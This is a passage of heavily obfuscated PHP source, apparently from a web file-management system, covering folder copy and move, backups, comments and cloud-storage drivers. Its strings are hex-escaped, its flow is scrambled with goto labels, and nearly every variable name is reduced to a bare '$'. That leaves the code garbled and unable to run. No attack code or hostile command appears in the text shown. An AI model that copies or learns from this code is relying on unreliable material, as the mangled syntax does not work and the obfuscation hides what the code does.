$ = $this->_childrenListSelect($); foreach ($ as $) { $ = REPEAT_REPLACE; $this->_move($[$[194]], $, $, $); } $ = !0; } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $); $ = $this->_moveForce($, $, $); } else { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[555]], $[$[79]]); if ($) { $[$[646]][] = $[$[555]]; } $ = !0; } } if ($) { $[$[677]] = !0; } return $; } private function _moveForce($, $, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); $ = $[$[497]] == $[91]; $ = array($[489] => $[$[194]], $[669] => $[$[598]] . $[$[194]] . $[50], $[665] => $[$[191]], $[666] => $[$[583]], $[668] => USER_ID, $[506] => $); $ = $[$[191]] == SourceModel::TYPE_GROUP && $[$[191]] == SourceModel::TYPE_GROUP && $[$[583]] == $[$[583]]; if (!$ && $this->moveClearAuth) { Model($[581])->authClear($); } $ = $[$[517]] == $[91] && $[$[517]] != $[91]; if ($) { $[$[516]] = 0; } if ($) { $ = array($[669] => array($[629], $[$[598]] . $[$[194]] . $[630])); $ = $[$[598]] . $[$[194]] . $[50]; $ = $[$[598]] . $[$[194]] . $[50] . $[$[194]] . $[50]; $ = array($[669] => array($[678], "\x72\x65\x70\x6c\141\x63\145\50\160\x61\x72\145\156\x74\114\145\166\145\154\54\x27{$}\x27\x2c\x27{$}\x27\51"), $[665] => $[$[191]], $[666] => $[$[583]]); if ($) { $[$[516]] = 0; } $this->where($)->data($)->save(); } $this->where(array($[503] => $))->data($)->save(); return $; } private function clearShare($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if ($[$[583]] == $[$[583]] && $[$[191]] == $[679]) { return; } $ = array($[598] => array($[629], $[$[598]] . $ . $[630])); $ = $this->field($[503])->where($)->getField($[194], !0); if (!$) { return; } $ = array($[194] => array($[7], $), $[680] => 1); $ = Model($[681])->field($[682])->where($)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[682]); $ = array($[682] => array($[7], $)); Model($[681])->where($)->save(array($[680] => 0)); Model($[683])->where($)->delete(); } public function copyFolderFromIO($, $, $, $, $, $ = false) { $ =& $_SERVER[]; $ = array($[647] => array(), $[648] => array(), $[646] => array(), $[684] => array()); $ = $ ? $ : $->pathThis($); $ = $this->fileNameExist($, $); $ = $this->mkdir($, $, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($[685]); $this->_copyChildTo($, $, $, $, $, $); Hook::trigger($[686]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($[649])->addAll($[$[647]], array(), !0); Model($[650])->eventCopy($); $this->saveAll($[$[648]]); Model($[558])->linkAdd($[$[646]]); Model($[558])->remove($[$[684]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copyChildTo($, $, $, $, &$, $) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $->listPath($); $ = $ ? $ : array($[86] => array(), $[85] => array()); $ = array_merge($[$[86]], $[$[85]]); $ = $this->_addFiles($, $[$[86]], $); $ = array(); foreach ($ as &$) { if (isset($[$[$[32]]])) { $ = $[$[$[32]]]; } $[$[497]] = $[$[33]] == $[78]; $[$[498]] = substr(_get($, $[169], $[12]), 0, 10); $[$[79]] = _get($, $[79], 0); $[$[555]] = _get($, $[555], 0); if (!isset($[$[687]]) && $[$[555]]) { $[$[684]][] = $[$[555]]; } if ($) { $ = $this->fileNameExistCache($, $[$[32]]); if ($) { if ($[$[497]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[555]], $[$[79]]); if ($) { $[$[646]][] = $[$[555]]; } continue; } else { if ($ == REPEAT_RENAME) { $[$[32]] = $this->fileNameAutoCache($, $[$[32]], $, !1); } } } } if (!$[$[497]] && $[$[555]] == 0) { continue; } if (!$[$[497]] && $[$[555]]) { $[$[646]][] = $[$[555]]; } $[] = $this->_makeItemData($, $, $[$[32]]); } unset($); if (!empty($)) { $this->addAll($); $this->_childrenListSelect($); } $ = $this->_childrenList($); $ = array_to_keyvalue($, $[32]); foreach ($ as $) { $ = $[$[$[32]]]; $ = $[$[194]]; $this->_copyApplyMeta($, $); if ($[$[33]] == $[78]) { $[$[87]] = $->getPathInner($[$[87]]); $this->_copyChildTo($, $[$[87]], $, $, $, $); } } } private function _addFiles($, $, $) { $ =& $_SERVER[]; if (!$ || count($) == 0) { return array(); } $ = array(); foreach ($ as &$) { Hook::trigger($[688], $); $[$[87]] = $->getPathInner($[$[87]]); $ = $->hashSimple($[$[87]]); $ = $->hashMd5($[$[87]]); if (strlen($) > 10 && !isset($[$])) { $[$] = array(); } $[$[689]] = $; $[$[561]] = $; $[$][] =& $; if (count($[$]) > 1) { $[$[687]] = !0; } Hook::trigger($[690], $); } unset($); $ = array($[561] => array($[7], array_keys($))); $ = Model($[691]); $ = $->where($)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($[$[$[561]]])) { continue; } $ = $[$[$[561]]]; foreach ($ as &$) { $[$[555]] = $[$[555]]; $[$[687]] = !0; } unset($); } $ = array(); foreach ($ as $) { Hook::trigger($[692], $); if (isset($[$[687]]) && $[$[687]]) { Hook::trigger($[693], $); continue; } $ = $->getPathInner($[$[87]]); $ = $->addFileMake($, $[$[79]], $[$[689]], $[$[561]], $[$[32]], $); Hook::trigger($[693], $); if (!is_array($)) { continue; } $[] = $; } $->addAll($); $ = array($[561] => array($[7], array_keys($))); $ = $->where($)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($[$[$[561]]])) { continue; } $ =& $[$[$[561]]]; foreach ($ as &$) { $[$[555]] = $[$[555]]; } unset($); } $ = array(); foreach ($ as $) { $[$[$[32]]] = $; } return $; } } define($_SERVER[][694], $_SERVER[][695]); $hneuzlbykx = $_SERVER[][696]; goto F; B: class BackupModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\145\x6d\x2e\x62\x61\x63\x6b\165\160\x4c\151\x73\164"; public $field = array("\151\157", "\156\141\x6d\x65", "\163\164\x61\164\165\163", "\x63\x6f\x6e\x74\x65\x6e\164", "\x6d\141\156\x75\x61\x6c", "\162\145\163\x75\x6c\x74", "\x74\x69\x6d\145\x46\x72\157\155", "\x74\x69\155\145\x54\x6f"); public function config() { $ =& $_SERVER[]; Action($[2017])->taskInit(); $ = Model($[860])->get($[867]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); $this->parseContent($); unset($[$[1760]]); Model($[1759])->cacheClear(); $ = $[2018]; $ = Model($[2019])->findByKey($[1778], $); if (!$) { $ = array(); } if (isset($[$[207]])) { $[$[207]] = json_decode($[$[207]], !0); } if (isset($[$[207]])) { $[$[207]][$[1763]] = $[$[207]]; unset($[$[207]]); } return array_merge($, $); } public function listData($ = false, $ = "\x6d\x6f\x64\x69\146\171\124\x69\x6d\x65", $ = false) { $ = parent::listData($, $, !0); if (!$) { return $; } if ($) { $ = array($); } foreach ($ as &$) { $this->parseContent($); } return $ ? $[0] : $; } public function parseContent(&$) { $ =& $_SERVER[]; $ = _get($, $[171], $[91]); if (!in_array($, array($[866], $[1225]))) { $[$[171]] = $ == $[91] ? $[1225] : $[866]; } } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] : null; } public function kill($) { $ =& $_SERVER[]; $ = $this->listData($); if (!$ || empty($[$[32]])) { return !0; } Task::kill($[875]); Task::kill($[894]); Task::kill($[904]); $ = $[$[32]]; $ = TEMP_FILES . $[870] . $ . $[8]; IO::remove($, !1); return $this->remove($); } public function remove($) { $ = $this->listData($); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($) { parent::remove($[$_SERVER[][487]]); $ = $this->backupPath($); IO::remove($, !1); return !0; } private function backupPath($) { $ =& $_SERVER[]; $ = $[$[32]]; $ = Model($[860])->get($[861]); $ = substr(md5($[862] . $ . $), 0, 8); return "\x7b\151\157\x3a{$[$[842]]}\x7d\x2f\144\141\x74\141\142\x61\x73\145\x2f\x62\141\143\x6b\165\x70\x2f" . $ . $[11] . $; } public function start() { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[92]][$[2020]] != $[91]) { return !0; } $ = $this->config(); if (!$ || $[$[1760]] != $[91]) { return !1; } if ($[$[171]] == $[866]) { $ = Model($[860])->get($[1340]); if ($ == $[1341]) { $[$[171]] = $[1225]; } } $ = $this->process(); foreach ($ as $) { if ($) { return Task::restart($[$[487]]); } } $ = new Backup(); $ = $->db(); if ($) { $ = $->dbFile(); if ($ && $[$[171]] == $[866]) { $ = $->file(); } } Backup::set(array($[840] => 1, $[851] => time())); return !0; } public function process() { $ =& $_SERVER[]; $ = array($[847] => Task::get($[875]), $[852] => Task::get($[894]), $[233] => Task::get($[904])); $ = !1; foreach ($ as &$) { if ($) { $ = !1; continue; } if ($) { $ = intval(_get($, $[1796], 0)); if (time() - $ > 7200) { Task::kill($[$[487]]); $ = !0; $ = !1; } } } return $; } public function restore() { $ =& $_SERVER[]; ActionCall($[1153], !0, 1); ActionCall($[1153], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\157\x6d\x6d\145\156\x74"; protected $tableMeta = array("\164\x61\142\154\145\x4e\141\155\145" => "\x63\157\155\x6d\x65\156\x74\x5f\155\x65\164\141", "\155\145\164\141\106\151\x65\x6c\144" => "\x63\x6f\155\155\145\x6e\164\111\104"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($) { $ =& $_SERVER[]; if ($[$[2021]]) { $ = $this->where(array($[2022] => $[$[2021]]))->find(); if (!$ || $[$[191]] != $[$[191]] || $[$[583]] != $[$[583]]) { return !1; } $this->where(array($[2022] => $[$[2021]]))->setAdd($[2023], 1); } $[$[2024]] = 0; $[$[2023]] = 0; $[$[840]] = 1; return $this->add($); } public function commentCount($, $, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($[583], $[2025] => $[579]); $ = array($[583] => array($[7], $), $[191] => $); if ($) { $[$[1791]] = $; } $ = $this->field($)->where($)->group($[583])->select(); return array_to_keyvalue($, $[583], $[579]); } public function starTarget($, $) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = array($[1791] => USER_ID, $[191] => $, $[583] => $); $ = $this->where($)->find(); if ($) { return $this->where(array($[487] => $[$[487]]))->delete(); } $ = array($[2021] => 0, $[1791] => USER_ID, $[840] => 1, $[171] => $[12], $[191] => $, $[583] => $, $[2024] => 0, $[2023] => 0); return $this->add($); } public function starTargetCount($, $) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = $this->commentCount($, $); $ = $this->commentCount($, $, USER_ID); return array($[2026] => $, $[2027] => $); } public function starTargetUserList($, $) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = array($[583] => $, $[191] => $); $ = $this->where($)->count(); $ = array($[344] => $, $[2028] => array()); if (!$) { return $; } $ = $this->field($[1791])->where($)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1791]); $[$[2028]] = Model($[591])->userListInfo($); return $; } public function prasiseUserList($) { $ =& $_SERVER[]; $ = array($[2029] => $); $ = $this->where($)->find(); $ = _get($, $[2024], 0); $ = array($[344] => $, $[2028] => array()); if (!$) { return $; } $ = Model($[2030])->field($[1791])->where($)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1791]); $[$[2028]] = Model($[591])->userListInfo($); return $; } public function remove($) { $ =& $_SERVER[]; $ = array($[2022] => $); $ = $this->where($)->find(); if ($[$[2021]]) { $this->where(array($[2022] => $[$[2021]]))->setAdd($[2023], -1); } return $this->where($)->delete(); } public function edit($, $) { $ =& $_SERVER[]; $ = array($[2022] => $); return $this->where($)->save(array($[2031] => $)); } public function prasise($) { $ =& $_SERVER[]; $ = Model($[2032]); $ = array($[2022] => $, $[1782] => USER_ID); $ = $->where($)->find(); if (!$) { $->add($); $ = $this->where(array($[2022] => $))->setAdd($[2024], 1); } else { $->where($)->delete(); $ = $this->where(array($[2022] => $))->setAdd($[2024], -1); } return $; } public function targetInfo($, $) { $ =& $_SERVER[]; $ = array($[665] => $, $[666] => $); $ = $this->where($)->count(); $ = "\122\x49\107\110\124\40\112\117\x49\116\40{$this->tablePrefix}\x63\x6f\x6d\155\145\x6e\164\137\160\162\x61\151\x73\145\40\163\164\141\x72\x20\x6f\156\40\x63\157\x6d\x6d\x65\x6e\x74\56\x63\x6f\x6d\155\145\x6e\x74\x49\104\x20\x3d\40\x73\164\141\x72\56\143\157\x6d\155\x65\156\164\111\104"; $ = $this->alias($[441])->where($)->join($, $[2033])->count(); $ = array($[2034] => $, $[2035] => $); return $; } public function listData($) { $ =& $_SERVER[]; if (isset($[$[2036]])) { if ($[$[2036]]) { $[$[2029]] = array($[1107], intval($[$[2036]])); } unset($[$[2036]]); } if (isset($[$[2037]])) { if ($[$[2037]]) { $[$[2029]] = array($[1104], intval($[$[2037]])); } unset($[$[2037]]); } return $this->_listData($); } private function _listData($) { $ =& $_SERVER[]; $ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($[$[457]]); $this->_listAppendUser($[$[457]]); $this->_listAppendMeta($[$[457]]); return $; } private function _makeOrder() { $ =& $_SERVER[]; $ = array($[2024], $[2023], $[234]); $ = Input::get($[542], $[7], $[509], $); $ = Input::get($[543], $[7], $[1784], array($[2038], $[538])); $ = $ . $[53] . $; return $this->order($); } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[2021])); $ = array_remove_value($, $[231]); if (!$) { return; } $ = $this->where(array($[2022] => array($[7], $)))->select(); $ = array_to_keyvalue($, $[2029]); foreach ($ as &$) { if (isset($[$[$[2021]]])) { $[$[2039]] = $[$[$[2021]]]; } } unset($); } private function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[1791])); $ = array_remove_value($, $[231]); if (count($) == 0) { return; } foreach ($ as $) { if (isset($[$[2039]])) { $[] = $[$[2039]][$[1791]]; } } $ = Model($[611])->userListInfo($); foreach ($ as &$) { $[$[679]] = $[$[$[1791]]]; if (isset($[$[2039]])) { $[$[2039]][$[679]] = $[$[$[2039]][$[1791]]]; } } unset($); } private function _listAppendMeta(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[2029])); $ = array_remove_value($, $[231]); if (!$) { return; } foreach ($ as $) { if (isset($[$[2039]])) { $[] = $[$[2039]][$[2029]]; } } $ = $this->metaList($); if (!$) { return !1; } foreach ($ as &$) { $[$[553]] = $[$[$[2029]]]; if (isset($[$[2039]])) { $[$[2039]][$[553]] = $[$[$[2039]][$[2029]]]; } } unset($); } private function metaList($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = array($[2029] => array($[7], $)); $ = Model($[2040])->where($)->select(); $ = array_to_keyvalue_group($, $[2029]); foreach ($ as $ => $) { $ = array(); foreach ($ as $) { $[$[$[97]]] = $[$[462]]; } $[$] = $; } return $ ? $ : array(); } public function removeTarget($, $) { $ =& $_SERVER[]; if (!$) { return !0; } $ = is_array($) ? $ : array($); $ = array($[191] => $, $[583] => array($[7], $)); $ = $this->field($[2029])->where($)->select(); $ = array_to_keyvalue($, $[12], $[2029]); if (!$) { return !0; } $ = array($[2029] => array($[7], $)); $this->where($)->delete(); Model($[2032])->where($)->delete(); Model($[2041])->where($)->delete(); } } class FileContentModel extends ModelBase { protected $tableName = "\151\157\137\146\151\154\x65\x5f\143\x6f\156\x74\x65\156\164\163"; protected $dataAuto = array(array("\143\162\x65\x61\164\x65\124\151\155\145", "\164\151\x6d\145", "\151\156\x73\x65\x72\164", "\146\x75\x6e\143\164\x69\157\156")); } goto a; b: class PathDriverBOS extends PathDriverS3 { public function __construct($) { parent::__construct($); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[219]) { $ = $[220] . substr($, 7); } header($[175] . $); die; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][250]); } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $[232]; $ = $[1428]; $ = $[264]; $ = gmdate($[1429], time() + $); $ = (string) time() . $[74] . (string) (time() + $); $ = array($[265] => $, $[268] => array(array($[309] => $), array($[269] => $this->bucket), array($[270], $[271], $[12]), array($[273] => $), array($[1430] => $), array($[1431] => $this->accessKey), array($[1432] => $))); $ = json_encode($); $ = hash_hmac($[1428], $, $this->secret); $ = sha1($); $ = hash_hmac($[1428], $, $); $ = array($[309] => $, $[273] => $, $[280] => base64_encode($), $[1430] => $, $[1431] => $this->accessKey, $[1433] => $, $[1434] => $, $[209] => $this->getHost()); return $; } public function fileOutImage($, $ = 250) { $ =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 32) { return $this->fileOutImageServer($, $); } $ = $this->link($); $ .= $[1435] . $ . $[1436]; $this->fileOutLink($); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[219]) { $ = $[220] . substr($, 7); } header($[175] . $); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1437]); } public function getPath($) { return trim($, $_SERVER[][8]); } public function pathFather($) { $ = $this->parse($); $ = $this->infoSimple($); return $ ? $[$_SERVER[][193]] : !1; } public function pathThis($) { $ = $this->infoSimple($); return $ ? $[$_SERVER[][32]] : !1; } public function getPathOuter($) { if (!$) { return $; } $ = $this->parse($); return KodIO::make($[$_SERVER[][487]]); } public function copyFolderFromIO($, $, $, $, $) { $ = $this->model->copyFolderFromIO($, $, $, $, $); return KodIO::make($); } public function isParentOf($, $) { return $this->model->isParentOf($, $); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[487]]; for ($ = 0; $ < count($[$[1438]]); $++) { $ = $[$[1438]][$]; if ($ == count($[$[1438]]) - 1) { $ = $this->model->mkfile($, $, $, $); break; } $ = $this->model->mkdir($, $, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[487]]; for ($ = 0; $ < count($[$[1438]]); $++) { $ = $[$[1438]][$]; $ = $this->model->mkdir($, $, $); } return $this->getPathOuter($); } public function copyFile($, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->copy($, $[$[487]], $, $[$[87]]); return $ ? $this->getPathOuter($) : !1; } public function moveFile($, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->move($, $[$[487]], $, $[$[87]]); return $ ? $this->getPathOuter($) : !1; } public function copy($, $, $ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $ = $this->model->copy($, $[$_SERVER[][487]], $, $); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($, $, $ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $ = $this->model->move($, $[$_SERVER[][487]], $, $); return $ ? $this->getPathOuter($) : !1; } public function remove($, $ = true) { return $this->model->remove($, $); } public function rename($, $) { $ = $this->model->rename($, $); return $ ? $this->getPathOuter($) : $; } public function size($) { $ = $this->infoSimple($); return $ ? $[$_SERVER[][79]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public function infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($, $ = false, $ = false) { if (!$) { return $this->model->pathInfo($, $); } return $this->model->pathInfoMore($); } public function infoFullSimple($) { $ =& $_SERVER[]; $ = explode($[8], $); $ = implode($[8], array_splice($, 1)); return $this->model->pathInfoByPath($[0], $); } public function infoFull($) { $ = $this->infoFullSimple($); return is_array($) ? $this->model->pathInfo($[$_SERVER[][194]]) : !1; } public function hashSimple($) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); return $[$[170]][$[689]]; } public function hashMd5($) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); return $[$[170]][$[561]]; } public function exist($) { $ =& $_SERVER[]; $ = $this->parse($); if (!$[$[87]]) { return $this->isFile($) || $this->isFolder($); } $ = array($[489] => $[$[487]], $[32] => $[$[87]]); $ = $this->model->where($)->find(); return $ ? !0 : !1; } public function isFile($) { $ =& $_SERVER[]; $ = $this->infoSimple($); return $ && $[$[497]] == $[231] ? !0 : !1; } public function isFolder($) { $ =& $_SERVER[]; $ = $this->infoSimple($); return $ && $[$[497]] == $[91] ? !0 : !1; } public function listPath($, $ = false) { $ =& $_SERVER[]; if ($ == $[12]) { return !1; } $ = array($[489] => $); if ($) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($, $ = false, $ = null) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); if ($) { return array($[243] => $[$[243]], $[242] => $[$[242]]); } return $ ? $[$[243]] : $[$[242]]; } public function listAll($) { $ = IO::info($this->pathParse[$_SERVER[][87]]); if (!$) { return array(); } return $this->model->listAll($); } public function getContent($) { return $this->model->getContent($); } public function setContent($, $ = '') { return $this->model->setContent($, $); } public function fileSubstr($, $, $) { return $this->model->fileSubstr($, $, $); } public function download($, $ = '') { $ = get_path_father($); $ = get_path_this($); $ = $this->model->fileInfoGet($); $ = IO::copy($[$_SERVER[][87]], $, !1, $); return $; } public function setModifyTime($, $ = '') { $ =& $_SERVER[]; if (!$) { return; } $this->model->where(array($[503] => $))->save(array($[88] => $)); } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->addFile($[$[487]], $, $[$[87]], $, $); return $this->getPathOuter($); } public function uploadFileByID($, $, $) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->addFileByFileID($[$[487]], $, $[$[87]], $); return $this->getPathOuter($); } public function addFileByRemote($, $, $ = array(), $ = '', $) { $ =& $_SERVER[]; $ = $this->parse($); $ = empty($) ? $[$[87]] : $; $ = $this->model->addFileByRemote($[$[487]], $, $, $, $); return $this->getPathOuter($); } public function uploadLink($, $ = 0) { $ =& $_SERVER[]; $ = $this->parse($); $ = _get($GLOBALS[$[7]], $[1439]); $ = _get($GLOBALS[$[7]], $[1440]); $ = Model($[691])->createFileName($[$[87]], $, $); return IO::uploadLink($, $); } public function fileNameAuto($, $, $ = REPEAT_REPLACE, $ = false) { return $this->model->fileNameAuto($, $, $, $); } public function fileNameExist($, $) { return $this->model->fileNameExist($, $); } protected function _fileOut($, $ = false, $ = false, $ = '', $ = false) { $ =& $_SERVER[]; $ = $this->model->sourceInfo($); if ($[$[497]] == $[91]) { header($[1441]); die; } $ = $this->model->fileInfoGet($); $ = $[$[561]] ? $[$[561]] : $; $ = isset($GLOBALS[$[183]]) && is_array($GLOBALS[$[183]]) ? $GLOBALS[$[183]][$[32]] : $[$[32]]; if ($) { return IO::fileOutServer($[$[87]], $, $, $); } IO::fileOut($[$[87]], $, $, $); } public function fileOut($, $ = false, $ = false, $ = '') { $this->_fileOut($, $, $, $); } public function fileOutServer($, $ = false, $ = false, $ = '') { $this->_fileOut($, $, $, $, !0); } protected function _fileOutImage($, $ = 250) { $ =& $_SERVER[]; $ = $this->model->pathInfo($); if ($[$[497]] == $[91]) { show_json($[1442] . $, !1); } $ = $this->model->fileInfoGet($); $[$[184]] = $[$[87]]; $GLOBALS[$[183]] = $; IO::fileOutImage($[$[87]], $); } public function fileOutImage($, $ = 250) { $this->_fileOutImage($, $); } public function fileOutImageServer($, $ = 250) { $this->_fileOutImage($, $); } public function link($, $ = '') { $ = $this->model->fileInfoGet($); return IO::link($[$_SERVER[][87]], $); } protected function parse($) { $ =& $_SERVER[]; if (strstr($, $[8]) === !1) { return array($[505] => intval($), $[87] => $[12], $[1438] => array()); } $ = explode($[8], trim($, $[8])); if (count($) < 2) { show_tips(clear_html($) . $[1443]); } return array($[505] => intval($[0]), $[87] => $[1], $[1438] => array_slice($, 1)); } } goto A; f: class ModelBaseLight { public $optionType = ''; public $modelType = "\x53\171\163\x74\145\x6d\x4f\x70\164\x69\157\156"; public $field = array(); public function listData($ = false, $ = "\x6d\x6f\144\151\146\171\x54\151\155\145", $ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $ = array_values($); if ($ && $[0] && !is_array($[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $ ? null : array(); } if (!$) { $ = array_filter(array_values($)); return array_sort_by($, $, $); } return $[$_SERVER[][484] . $]; } public function insert($) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $ = Model($this->modelType)->get($[485], $this->optionType . $[486]); $ = $ ? $ : 0; $[$[487]] = ++$; $[$[234]] = time(); $[$[88]] = time(); Model($this->modelType)->set($[485], $, $this->optionType . $[486]); Model($this->modelType)->set($[484] . $, $, $this->optionType); return $; } public function update($, $) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $ = $this->listData($); if (!$ || !$) { return !1; } $ = array_merge($, $); $[$[88]] = time(); return Model($this->modelType)->set($[484] . $, $, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[][484] . $, $this->optionType); } public function clear() { $ =& $_SERVER[]; Model($this->modelType)->remove($[485], $this->optionType . $[486]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($, $) { if (!$) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $); return isset($[$]) ? $[$] : !1; } public function findByName($) { return $this->findByKey($_SERVER[][32], $); } protected function resetData($) { $ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array(); for ($ = 0; $ < count($); $++) { $[$[484] . $[$][$[487]]] = $[$]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$ || !isset($[$])) { return $; } for ($ = 1; $ < count($); $++) { $ = $ . "\50{$}\51"; if (!isset($[$])) { return $; } } return $; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($ = false, $ = '', $ = false) { $ =& $_SERVER[]; $ = $this->cacheGet($); $ = $this->optionDefault($); $ = is_array($) ? $ : array(); if (is_array($)) { $ = array_merge($, $); return $ ? isset($[$]) ? $[$] : null : $; } $ = $this->filterWhere(array($[33] => $)); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[97], $[462]); foreach ($ as $ => $) { if ($ || in_array($, $this->jsonField)) { $[$] = json_decode($, !0); } } $this->cacheSet($, $); $ = array_merge($, $); return $ ? $[$] : $; } public function set($, $ = false, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ = array(); $ = is_array($) ? $ : array($ => $); foreach ($ as $ => $) { if (is_array($)) { $ = json_encode_force($); } $this->checkLength($, !1, $this->tableName . $[4] . $); $ = self::textEncode($); $ = array($[33] => $, $[97] => $, $[462] => $); $[] = $this->filterWhere($); } if (!$) { return !0; } $ = $this->cacheKey($[488]); CacheLock::lock($); $ = $this->addAll($, array(), !0); CacheLock::unlock($); return $; } protected function optionDefault($ = '') { return !1; } public function setDeep($, $ = false, $ = '') { $ = explode($_SERVER[][10], $); $ = $this->get(); array_set_value($, $, $); $this->set($[0], $[$[0]], $); } public function remove($, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ = $this->filterWhere(array($[97] => $, $[33] => $)); if (is_null($)) { unset($[$[97]]); } return $this->where($)->delete(); } public function cacheSet($, $ = false) { return Cache::set($this->cacheKey($), $); } public function cacheGet($) { return Cache::get($this->cacheKey($)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($) { return $; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\157\165\162\x63\x65"; protected $tableMeta = array("\164\141\x62\x6c\145\116\x61\155\x65" => "\151\x6f\x5f\x73\x6f\165\162\x63\x65\x5f\155\145\x74\141", "\x6d\145\x74\141\106\151\x65\154\144" => "\x73\x6f\x75\162\143\x65\x49\104"); protected $dataAuto = array(array("\155\157\144\151\146\171\x54\151\155\145", "\x74\x69\155\x65", "\151\156\163\x65\x72\164", "\x66\165\x6e\x63\x74\151\157\x6e"), array("\x63\162\145\x61\x74\x65\124\151\x6d\145", "\164\x69\x6d\145", "\x69\x6e\163\x65\162\164", "\146\x75\156\143\x74\151\x6f\x6e"), array("\x76\x69\x65\167\x54\151\x6d\x65", "\164\151\x6d\x65", "\x69\156\x73\x65\x72\x74", "\146\x75\x6e\x63\x74\151\157\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[][489] => $)); } public function typeName($) { static $ = array(self::TYPE_SYSTEM => "\163\x79\x73\164\145\155", self::TYPE_USER => "\165\163\145\x72", self::TYPE_GROUP => "\x67\162\x6f\165\x70"); return $[$ . $_SERVER[][12]]; } public function sourceListInfo($, $ = false) { $ =& $_SERVER[]; $ 